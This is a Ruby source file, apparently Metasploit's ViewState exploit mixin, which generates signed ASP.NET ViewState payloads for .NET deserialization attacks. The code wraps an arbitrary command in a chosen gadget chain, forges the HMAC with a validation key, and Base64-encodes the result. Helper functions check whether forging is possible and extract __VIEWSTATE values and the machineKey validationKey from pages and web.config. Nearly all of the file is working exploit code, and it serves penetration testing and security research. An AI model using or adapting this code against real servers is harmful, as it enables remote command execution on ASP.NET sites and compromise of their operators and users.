# -*- coding: binary -*- # # This is a specific implementation of ASP.NET ViewState generation and decoding # # Microsoft resources: # https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security # https://github.com/microsoft/referencesource/blob/master/System.Web/UI/LOSFormatter.cs # https://github.com/microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs # https://github.com/microsoft/referencesource/blob/master/System.Web/UI/Page.cs # # Mono resources: # https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/LosFormatter.cs # https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/ObjectStateFormatter.cs # https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.Util/MachineKeySectionUtils.cs # # Other resources: # https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/ # https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs # # Kudos to zeroSteiner for Msf::Util::DotNetDeserialization and the inspiration # module Msf module Exploit::ViewState def initialize(info = {}) super register_advanced_options([ OptEnum.new( 'DotNetGadgetChain', [ true, '.NET gadget chain to use in ViewState', :TextFormattingRunProperties, Msf::Util::DotNetDeserialization::GadgetChains::NAMES ] ) ]) end def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '') serialized_payload = Msf::Util::DotNetDeserialization.generate( cmd, gadget_chain: datastore['DotNetGadgetChain'].to_sym, formatter: :LosFormatter ) generate_viewstate(serialized_payload, extra: extra, algo: algo, key: key) end def generate_viewstate(data, extra: '', algo: 'sha1', key: '') # Generate ViewState HMAC from known values and validation key hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key) # Append HMAC to provided data and Base64-encode the whole shebang Rex::Text.encode_base64(data + hmac) end def generate_viewstate_hmac(data, algo: 'sha1', key: '') OpenSSL::HMAC.digest(algo, key, data) end def decode_viewstate(encoded_viewstate, algo: 'sha1') viewstate = Rex::Text.decode_base64(encoded_viewstate) unless Rex::Text.encode_base64(viewstate) == encoded_viewstate vprint_error('Could not decode ViewState') return { data: nil, hmac: nil } end hmac_len = generate_viewstate_hmac('', algo: algo).length if (data = viewstate[0...-hmac_len]).empty? vprint_error('Could not parse ViewState data') data = nil end unless (hmac = viewstate[-hmac_len..-1]) vprint_error('Could not parse ViewState HMAC') end { data: data, hmac: hmac } end def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '') viewstate = decode_viewstate(encoded_viewstate) unless viewstate[:data] vprint_error('Could not retrieve ViewState data') return false end unless (their_hmac = viewstate[:hmac]) vprint_error('Could not retrieve ViewState HMAC') return false end our_hmac = generate_viewstate_hmac( viewstate[:data] + extra, algo: algo, key: key ) # Do we have what it takes? our_hmac == their_hmac end # Extract __VIEWSTATE from HTML def extract_viewstate(html) html.at('//input[@id = "__VIEWSTATE"]/@value')&.text end # Extract __VIEWSTATEGENERATOR from HTML def extract_viewstate_generator(html) html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text end # Extract validationKey from web.config def extract_viewstate_validation_key(web_config) web_config.at('//machineKey/@validationKey')&.text end # Convenience method to convert __VIEWSTATEGENERATOR to binary def pack_viewstate_generator(hex_generator) [hex_generator.to_i(16)].pack('V') end # Convenience method to convert validationKey to binary def pack_viewstate_validation_key(hex_key) [hex_key].pack('H*') end end end